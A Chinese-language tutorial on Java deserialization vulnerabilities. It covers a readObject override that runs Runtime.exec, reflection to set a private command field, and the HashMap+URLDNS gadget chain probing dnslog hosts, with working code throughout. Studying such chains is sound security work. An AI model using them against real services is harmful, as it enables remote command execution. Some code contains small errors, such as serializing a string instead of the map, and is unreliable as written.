Java序列化与反序列化基本概念
//java的一些语法和面向对象思想不再赘述,可以去菜鸟教程看一看,面向对象思想的讲解b站或者知乎都有很多讲的很好很生动的内容
和php一样,目的都是为了将对象进行存储,脱离语言系统本身,可以存在别的地方,以及进行网络传输
和php不一样的是,java并没有原生的serialize函数和unserialize函数
我很讨厌对于技术问题先咀嚼一些不明所以的概念,学习是个环,对于抽象概念大彻大悟的理解往往都是在体验过实际技术细节之后的
“九层之台,起于累土” 先打好基础,对于基础知识掌握的熟练透彻,再去分析学习cc链,和shiro和log4j那些比较好
简单示例
那么直接从一个简单的示例开始分析最简单的java反序列化漏洞:直接把危险函数重写进readObject方法
构建如下项目(三个文件):
Person.java
package pop;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
public String name;
public int age;
public Person(String name,int age){
this.name=name;
this.age=age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
"age='" + age + '\'' +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassCastException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
类定义后有 implements Serializable ,实现了 Serializable 接口,但这个接口并没有定义任何方法等内容,只起到标记作用,实现了这个接口的类的对象才可以被序列化,否则不可以
下面可以看到对于readObject方法的重写:先是使用了默认的方法,之后又加了一条runtime去执行calc,弹出计算器
SerializationTest.java
package src;
import org.example.Person;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("per.ser"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
SerializationTest 类里面定义了serialize方法,接受一个对象的传参
先实例化一个 ObjectOutputStream (对象输出流)的对象 oos ,构造方法接受的传参是一个新实例化一个 FileOutputStream (文件输出流)的对象,里面的 per.ser 是输出的“地址”,可以当作序列化后的东西(php是一串可读的字符串,java并非如此)
过程就是对象输出流把对象输出给文件输出流,文件输出流在输出的到per.ser,这行代码就搭建好了序列化的流程
之后调用 oos.writeObject ,将传参进去的对象变成序列化数据(一直觉得这个方法才应该叫readObject,读取传入的对象,感觉会更顺口一点hhh)
下面就是紧接着主方法实例化我们的 Person 类,调用 serialize 函数序列化
UnserializeTest.java
package src;
import org.example.Person;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("per.ser");
System.out.println(person);
}
}
UnserializeTest 类实现了一个 unserialize 方法,返回值为一个对象,接受传入一个 String 类型
实例化一个 ObjectInputStream 的对象 ois,构造方法传入参数为 FileInputStream ,接受一个文件名传参(序列化输出的“地址”)
之后实例化一个 Object 类(Java中宇宙万法的源头,所有类的父类)的对象 obj 用于接收反序列化出来的对象,调用 ois.readObject 之后再把输出的对象赋给 obj
至此序列化与反序列化流程完成,形象一点比喻就是序列化是把对象的“灵魂”提取出来封装,之后反序列化就是把灵魂压入一具肉体中(所以先要示例化一个Object对象再把readObject的结果赋值过去)

如上图,反序列化的时候执行了 readObject 方法,触发了危险函数,弹出计算器
简直是黑阔们做梦都想碰到的情况,毫不费力直接就是一个拿下
但是实际攻防战场上怎么可能会有这种情况,上述情况只是为了理解序列化和反序列化过程的示例,以及凸显readObject在java反序列化中的重要性(
实际的利用链都是因为readObject中有对其他类对象的方法调用,一层套一层的形成利用链最终到达危险函数
反射机制
在正式聊利用链之前先聊一聊这个反射机制。
有「反」,自然得有相对的「正」。
假如我们要去使用一个类,自然会先知道它是个什么类,有哪些属性实现了什么方法,例如
Rice rice = new Rice();
Rice.count(1000);
这是正常的流程,先实例化,再对类对象进行操作
「反」射说的意思就是一开始不知道要操作的类对象是什么,自然也就不能用 new 关键字去实例化新对象了,总不能虚空锁定吧
假如有 一个 Evil 类,和上面简单例子的其中的 Person 类一样,只不过 exec 执行的命令为定义在内部的一个 private 的属性 cmd 的值,不能修改,并且无构造方法,如下:
package pop;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Evil implements Serializable {
private String cmd;
public void sayhi(){
System.out.println("hi");
}
@Override
public String toString(){
return "Just executed the command:" + cmd;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassCastException, ClassNotFoundException {
ois.defaultReadObject();
if (cmd != null && !cmd.trim().isEmpty()) {
Runtime.getRuntime().exec(cmd);
} else {
System.out.println("cmd is null");
}
}
}
那我们无法进行自定义赋值,自然也就不能操控exec函数去执行命令,这时候就可以利用反射机制。
正常都是先写代码然后编译成class,在反射里面我们可以根据 class 中定义一个对象
先获取类的 class
Class<?> clazz = Class.forName(pop.Evil);
这一步和之前比喻的让对象投胎到 Object 对象身上类似,创建一个泛类型的class去接收
之后就可以获取构造方法,然后去创建对象
Constructor<?> constructor = clazz.getConstructor();
Evil e=constructor.newInstance();
思路如出一辙
之后就可以去修改属性了
// 获取cmd字段(私有字段)
Field field = clazz.getDeclaredField("cmd");
field.setAccessible(true);
field.set(e, "calc")
调用 setAccessible 设置为 true,打破了 private 的限制
之后设置为 Evil 类对象 e ,值是 calc
之后获取方法并且调用
Method method = clazz.getDeclaredMethod("sayhi");
method.setAccessible(true);
method.invoke(e);
完整的反射代码如下:
package org.javaseri;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectionExample {
public static void main(String[] args) throws Exception {
//获取类的 Class 对象
Class<?> clazz = Class.forName("pop.Evil");
//获取类的构造方法并创建对象
Constructor<?> constructor = clazz.getConstructor();
Object e=constructor.newInstance();
//获取类的字段并访问/修改字段值
//获取cmd字段(私有字段)
Field field = clazz.getDeclaredField("cmd");
//访问字段值
field.setAccessible(true);
// 修改字段值
field.set(e, "calc");
//获取类的方法并调用方法
Method method = clazz.getDeclaredMethod("sayhi");
method.setAccessible(true);
method.invoke(e);
System.out.println(e);
}
}
试着不利用反射直接序列化在反序列化,可以看到:

cmd属性就是原本的空 null
而利用反射机制(为了方便我在调试运行时直接在反射下面调用了一下序列化和反序列化)

如图,成功修改属性,并弹出计算器
HashMap+URLDNS利用链
假设 a 对象中存在 say 方法,输入 hello i’m a, b 对象中存在 say 方法,输入 hello i’m b
当不同对象调用 say 方法的时候,就会产生不一样的效果,所以**”对象.方法”**一定要看准对象是谁
在 java 中反序列化漏洞就是利用**“对象.方法”**,不断替换对象,最终成功偷天换日,骗过上帝
hashmap是什么
//无回显利用DNS解析就不说了很基础的东西了,不知道是什么的新手师傅估计也不会来看这篇文章(
就是哈希表,存储一对对的键值,
比如:
import java.util.HashMap;
public class HashMapExample {
public static void main(String[] args) {
// 创建一个HashMap
HashMap<String, Integer> map = new HashMap<>();
map.put("Alice", 25);
map.put("Bob", 30);
map.put("Charlie", 35);
Integer age = map.get("Alice");
System.out.println("Alice's age: " + age); // 输出 Alice's age: 25
Integer unknownAge = map.get("Unknown");
System.out.println("Unknown's age: " + unknownAge); // 输出 Unknown's age: null
}
}
跟进HashMap,然后查找到这个类的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
然后往下翻到最下
putVal(hash(key), key, value,
调用了 hash 方法,去算一个 key 的 hashcode
接着跟进 hash,
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
如果 key 不为空,就计算 key 的 hashcode
就是这个 hashcode ,闯下大祸了
正因为这个 hash 函数的传入参数是一个对象,随便一个对象都没问题
那如果有一个类的 hashcode 方法有问题,那就可以联合一下,跳转一下达成一个链
那这个天选之类自然就是 URL 类
一个 URL 类的实例
package pop;
import java.net.MalformedURLException;
import java.net.URL;
public class Urltest {
public static void main(String[] args) throws MalformedURLException {
URL u=new URL("http://o6qoat.dnslog.cn");
u.hashCode();
}
}
跟进 hashcode
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
功能不再分析,很简单了
继续跟进 handler.hashCode
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u); //!!!!!!!!!!
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
注意到:
InetAddress addr = getHostAddress(u);
会去获取我们 url 的主机地址(触发dns解析)
这时候只需要将 hashmap 的 key 设置成 URL 的一个对象,就可以形成链条
看上去是那么的天衣无缝,但是天不遂人意,有一个严重的问题
跟进 map.put 方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这个方法同样调用了 hash(key)
导致会在我们的链条走通之前就算一下哈希值,直接就触发 dns 解析了,不利于我们判断究竟是这里触发的,还是链路末端触发的(第二次走到if判断直接会返回哈希值)
既然如此,重点在于把这么一个会被覆盖不归我们控制的值修改掉
此时只需一招那自然是反射
package pop;
import src.SerializationTest;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
class Urldns {
public static void main(String[] args)throws Exception {
HashMap<Object,Integer> a=new HashMap<Object,Integer>();
//创建URL对象,并存入urldns地址
URL url=new URL("http://ekgqvbcdya.zaza.eu.org");
//获取类,准备反射
Class c=URL.class;
//获取名为hashCode的属性
Field field= c.getDeclaredField("hashCode");
//修改权限
field.setAccessible(true);
//赋值为非-1的数
field.set(url,1);
//调用put,不触发dns请求
a.put(url,1);
//再利用反射修改回来-1,在反序列化时触发dns
field.set(url,-1);
SerializationTest.serialize("url.ser");
}
}
思路见注释,妙不可言
运行一下

序列化的时候并未触发解析
再反序列化就可以触发了
